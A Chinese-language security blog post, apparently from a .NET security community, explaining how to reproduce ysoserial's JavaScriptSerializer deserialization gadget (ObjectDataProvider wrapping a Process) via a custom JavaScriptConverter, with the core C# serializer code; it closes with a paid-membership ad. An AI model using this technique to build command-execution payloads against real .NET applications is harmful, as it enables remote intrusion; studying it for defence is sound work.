.NET 序列化生成 JavaScriptSerializer Poc

.NET 序列化生成 JavaScriptSerializer Poc

专攻.NET安全的 dotNet安全矩阵 2023-08-30 08:40

0x01 现状

dot.NET安全矩阵星球群
有位师傅问起如何才能生成和ysoserial一样的JavaScriptSerializer序列化poc,
同Json.NET一样序列化使用了ObjectDataProvider类,ObjectInstance属性绑定实例化的Process对象,这里没有使用MethodParameters属性传递参数,而是使用ProcessStartInfo类FileName和Arguments属性承载外部传入的命令,知道了原理我们尝试序列化出Ysoserial这段攻击载荷,
但实践时总抛出异常 System.
Reflection.RuntimeModule的对象时检测到循环引用。

解决此问题需要声明一个自定义类继承JavaScriptConverter,
本身是
abstract
抽象类包含成员
SupportedTypes
,表示获取
JavaScriptConverter
转换器支持的类型,另外包含序列化和反序列化方法

0x02 分析

自定义声明ProcessClassConverter类重写Ja
vaScriptConverter.Serialize方法实现在Dictionary字典中添加自定义的序列化属性。
核心代码如下

public override IDictionary<string, object> Serialize(object obj, JavaScriptSerializer serializer)
        {
            if(obj.GetType() == typeof(Process)) {
                var process = (Process)obj;
                var serializedProcess = new Dictionary<string, object>();
                serializedProcess["StartInfo"] = process.StartInfo;
                return serializedProcess;
            }
            else if(obj.GetType() == typeof(ObjectDataProvider))
            {
                var objectDataProvider = (ObjectDataProvider)obj;
                var serializedObjectDataProvider = new Dictionary<string, object>();
                serializedObjectDataProvider["MethodName"] = objectDataProvider.MethodName;
                serializedObjectDataProvider["ObjectInstance"] = objectDataProvider.ObjectInstance;
                return serializedObjectDataProvider;
            }
            else
            {
                var serialized = new Dictionary<string, object>();
                return serialized;
            }
        }

根据输入的对象类型进入不同的序列化条件分支,当前被序列化对象如果是Process,则会将Process.StartInfo属性序列化后存储在为字典的项,如果是ObjectDataProvider,将MethodName、ObjectInstance属性序列化为字典的两个项,目的是根据对象类型执行相应的序列化逻辑,并返回相应的序列化结果。

如愿生成和Ysoserial一模一样的Payload,解答了师傅的疑问。

通过
javaScriptDe
serialize.Deserialize
反序列化下面改造后的
JSON
,成功弹出计算器

欢迎加入星球

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直
聚焦于.NET领域的安全攻防技术,定位于
高质量安全攻防星球社区,也
得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展
。经过运营团队成员商议一致同意给到师傅们最大优惠力度,
只需129元就可以加入我们。

星球汇聚了
各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET
安全资源,可以说市面上很少见,都是干货。其中主题包括
.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库
等等,后续还会倾力打造
专刊、视频
等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。